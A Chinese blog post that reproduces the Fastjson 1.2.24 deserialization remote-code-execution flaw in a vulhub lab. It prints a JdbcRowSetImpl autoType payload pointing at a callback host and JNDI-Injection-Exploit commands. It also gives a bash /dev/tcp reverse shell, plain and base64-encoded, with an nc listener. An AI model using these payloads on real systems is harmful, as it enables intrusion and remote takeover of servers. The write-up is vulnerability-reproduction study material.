Fastjson_1.2.24_unserialize_rce漏洞复现

news2024/10/7 20:37:05

fastjson_1.2.24_unserialize_rce

说明内容
漏洞编号CNVD-2017-02833
漏洞名称FastJson <= 1.2.24 远程代码执行
漏洞评级高危
影响范围1.2.24
漏洞描述通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查
修复方案升级组件,打补丁,上设备

1.1 漏洞描述

​ FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。
​ 关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

​ fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

1.2 漏洞等级

高危

1.3 影响版本

1.2.24

1.4 漏洞复现

1.4.1 基础环境

组件版本
vulhub/fastjson/1.2.24-rce
FastJson1.2.24

运行测试环境:

sudo docker-compose up -d

image-20230908110512596

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出

image-20230908110613995

1.4.2 漏洞验证

获取数据包:

image-20230908111830528

GET请求转成POST请求,并把表单类型改为json类型,发包测试数据:

{"name":"GHUI","age":23}

image-20230908111947337

上图过程:

json -序列化->  object  -反序列化->  json

1.4.3 漏洞检测

可以使用BurpSuite扩展fastjsonScan 进行漏洞检测

下载插件:

proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar

添加插件:

image-20230908114000386

image-20230908114143477

添加成功:

image-20230908114449443

利用:

image-20230908115104034

得到漏洞利用的poc:

{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://p0q52dzlyyr7lwzrv7xvlzozmqsgg5.oastify.com/aaa","autoCommit":true}}

image-20230908115857882

说明:

​ RMI全称为:Remote Method Invocation 远程方法调用,是java独立的一种机制。

​ RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法在网络传输的过程中,RMI中对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化,RMI服务端在接收到序列化后的会将对象进行反序列化。

​ 在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI就可以作为反序列化利用链的触发点

java远程加载恶意类 RMI

若不知道RMI,可以把RMI理解为类似于http协议远程加载一个类。

使用DNSlog ,查看是否有回显:

第一步:

image-20230908145212920

第二步:

image-20230908145412852

第三步:

image-20230908145622337

第四步:将rmi换成ldap

image-20230908151716544

检测结果:

image-20230908151656827

检测到了,说明我们生成的rmi能够尝试在外部请求资源。

构造RMI服务器:

git config -l #拿到网址:https://github.com/welk1n/JNDI-Injection-Exploit.git

解释:

​ 命令git config -l用于列出Git版本控制系统的配置信息。通过运行该命令,您可以查看当前项目或全局的Git配置项及其对应的值。这些配置项包括用户名、邮箱、编辑器设置、远程仓库等。

image-20230908152614140

打开网址,有使用说明:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

image-20230908152714138

1.4.4 漏洞验证

开启RMI服务器:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/ghuii" -A "10.9.75.58"

image-20230908154109055

复制rmi://10.9.75.58:1099/1hjdrq到bp中:

image-20230908153356593

发包:

image-20230908154156758

这里显示有请求。

看一下在tmp中是否创建了ghuii文件:

sudo docker ps -a

image-20230908153728023

sudo docker exec -it 729 /bin/bash

image-20230908153838351

image-20230908154439914

ghuii文件创建成功

居然这里能够创建文件,那么是不是能上传一个反弹shell:

bash -i >& /dev/tcp/10.9.75.58/1234 0>&1

#base64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==

#将编码放入:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

或者直接构造

image-20230908154914592

开启监听端口:

nc -lnvp 1234

image-20230908155250012

然后把-C里面的数据换掉:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.9.75.58"

image-20230908162820313

ldap://10.9.75.58:1389/fuwphp 复制到bp:

image-20230908162859260

发包:

image-20230908162715065

成功监听到。

总结:

Fastjson_1.2.24存在反序列化漏洞。

注:做反弹shell时,需要本地构造一个一个服务器,让对方服务器到本地访问加载资源,然后执行恶意命令。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1001468.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PWmat计算再发Science:用于甲烷热解高效制氢的三元镍钼铋液态合金催化剂

文章信息 原标题: Ternary NiMo-Bi liquid alloy catalyst for efficient hydrogen production from methane pyrolysis 中文标题&#xff1a;用于甲烷热解高效制氢的三元镍钼铋液态合金催化剂 作者&#xff1a;Luning Chen, Zhigang Song, Shuchen Zhang, Chung-Kai Chang…

opencv 基础(持续更新中)

1 前言 https://www.couragesteak.com/ 2 安装 3 基础属性demo 打开一张图片&#xff1a; import cv2img cv2.imread(./girl.jpg)print(img.shape) # (1536, 1024, 3) 数组形状 print(type(img)) # numpy 数组 print(img) # 三维数组&#xff08;彩色图片&am…

基于SSM的校园快递代取系统设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

两个好用的数据标注软件labelme和CVAT

我们使用yolov3、yolov4、yolov5、yolov8等训练自己的权重时&#xff0c;需要有大量标注好的数据集&#xff0c;这里有两个好用的数据标注软件labelme和CVAT 一、labelme labelme&#xff1a;https://github.com/wkentaro/labelme 这个软件用的比较多&#xff0c;但是会经常更…

10:00面试,10:06就出来了,问题问的实在有点变态

从小厂出来&#xff0c;没想到在另一家公司又寄了。 到这家公司开始上班&#xff0c;加班是每天必不可少的&#xff0c;看在钱给的比较多的份上&#xff0c;就不太计较了。没想到8月一纸通知&#xff0c;所有人不准加班&#xff0c;加班费不仅没有了&#xff0c;薪资还要降30%,…

poi-tl word模版生成、动态表格、坑点合集

一、配置 1、导入依赖 <dependency><groupId>com.deepoove</groupId><artifactId>poi-tl</artifactId><version>1.10.0</version></dependency>apache poi版本要对应 <dependency><groupId>org.apache.poi</…

Docker安装RabbitMQ集群_亲测成功

先安装Docker Centos7离线安装Docker 华为云arm架构安装Docker RabbitMQ集群模式介绍 RabbitMQ集群搭建和测试总结_亲测 RabbitMQ 有三种模式&#xff1a;单机模式&#xff0c;普通集群模式&#xff0c;镜像集群模式。单机模式即单独运行一个 rabbitmq 实例&#xff0c;而…

【LangChain系列 6】Prompt模版——自定义prompt模版

原文地址&#xff1a;【LangChain系列 6】Prompt模版——自定义prompt模版 本文速读&#xff1a; 自定义prompt模版 LangChain提供了很多默认的prompt模版&#xff0c;同时LangChain提供了两种基础prompt模版&#xff1a; 字符串prompt模版 对话prompt模版 基于这两种模版&…

1-5 AUTOSAR数据交换文件ARXML

目录 一、Arxml文件 二、各类ARXML文件 一、Arxml文件 arxml文件是AUTOSAR&#xff08;Automotive Open System Architecture&#xff09;标准定义的XML文件&#xff0c;用于描述汽车电子系统中的软件组件、通信接口和参数配置等信息。 arxml文件的主要作用是在AUTOSAR架构下…

秋招,面试被问麻了....

前几天组了一个软件测试面试的群&#xff0c;没想到效果直接拉满&#xff0c;看来大家对面试这块的需求还是挺迫切的。昨天我就看到群友们发的一些面经&#xff0c;感觉非常有参考价值&#xff0c;于是我就问他还有没有。 结果他给我整理了一份非常硬核的面筋&#xff0c;打开…

使用STATCOM对电力系统进行潮流分析(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

遥感数据与作物模型同化技术应用

基于过程的作物生长模拟模型DSSAT是现代农业系统研究的有力工具&#xff0c;可以定量描述作物生长发育和产量形成过程及其与气候因子、土壤环境、品种类型和技术措施之间的关系&#xff0c;为不同条件下作物生长发育及产量预测、栽培管理、环境评价以及未来气候变化评估等提供了…

使用k8s helm离线部署spark-operator(私有仓库)

制作镜像 docker pull ghcr.io/googlecloudplatform/spark-operator:v1beta2-1.3.8-3.1.1 docker images docker save ImageID > ./spark.tar将制作的镜像上传到目的机器中&#xff0c;加载镜像 docker load < ./spark.tar打标签其中xxxx.xxx/xx/为私有仓库的地址 doc…

计算机视觉 01(介绍)

一、深度学习 1.1 人工智能 1.2 人工智能&#xff0c;机器学习和深度学习的关系 机器学习是实现人工智能的一种途径&#xff0c;深度学习是机器学习的一个子集&#xff0c;也就是说深度学习是实现机器学习的一种方法。与机器学习算法的主要区别如下图所示[参考&#xff1a;黑…

ROS_TF

tf:坐标系相关 rostopic type /tf rosrun rqt_tf_tree rqt_tf_treehector maping 不使用里程计修正误差 gmapping 考虑里程计修正的误差

Windows 可以使用以下快捷键打开终端(命令提示符)

Windows 可以使用以下快捷键打开终端&#xff08;命令提示符&#xff09; 使用快捷键 Win R 打开 “运行” 对话框&#xff0c;然后输入 “cmd” 并按下 Enter 键。这将打开默认的命令提示符窗口。 使用快捷键 Ctrl Shift Esc 打开任务管理器&#xff0c;然后在 “文件” …

GO语言网络编程(并发编程)GMP原理与调度

GO语言网络编程&#xff08;并发编程&#xff09;GMP原理与调度 1、GMP 原理与调度 1.1.1. 一、Golang “调度器” 的由来&#xff1f; (1) 单进程时代不需要调度器 我们知道&#xff0c;一切的软件都是跑在操作系统上&#xff0c;真正用来干活 (计算) 的是 CPU。早期的操作…

环境扫描/透射电子显微镜气体样品架的真空压力和微小流量控制解决方案

摘要&#xff1a;针对环境扫描/透射电子显微镜对样品杆中的真空压力气氛环境和流体流量精密控制控制要求&#xff0c;本文提出了更简单高效和准确的国产化解决方案。解决方案的关键是采用动态平衡法控制真空压力&#xff0c;真空压力控制范围为1E-03Pa~0.7MPa&#xff1b;采用压…

数据结构与算法课后题-第二章

第二章 01题目&#xff0c;存储相对紧凑&#xff0c;所以存储的密度大。 04题目&#xff0c;顺序表可以按照序号随机存取&#xff0c;时间的复杂度为O(1)。 第7题目分析 #include <iostream> using namespace std;#define MaxSize 50 typedef int ElemType; typedef…

雅思口语 23九月换题季最新考题答案

目录 Helping others 1.Do you usually help people around you? 2.How do you help people around you,such as neighbours,family and friends? 3.Do your parents teach you how to help others? 4.Did your parents help you a lot when you were young? 5.What …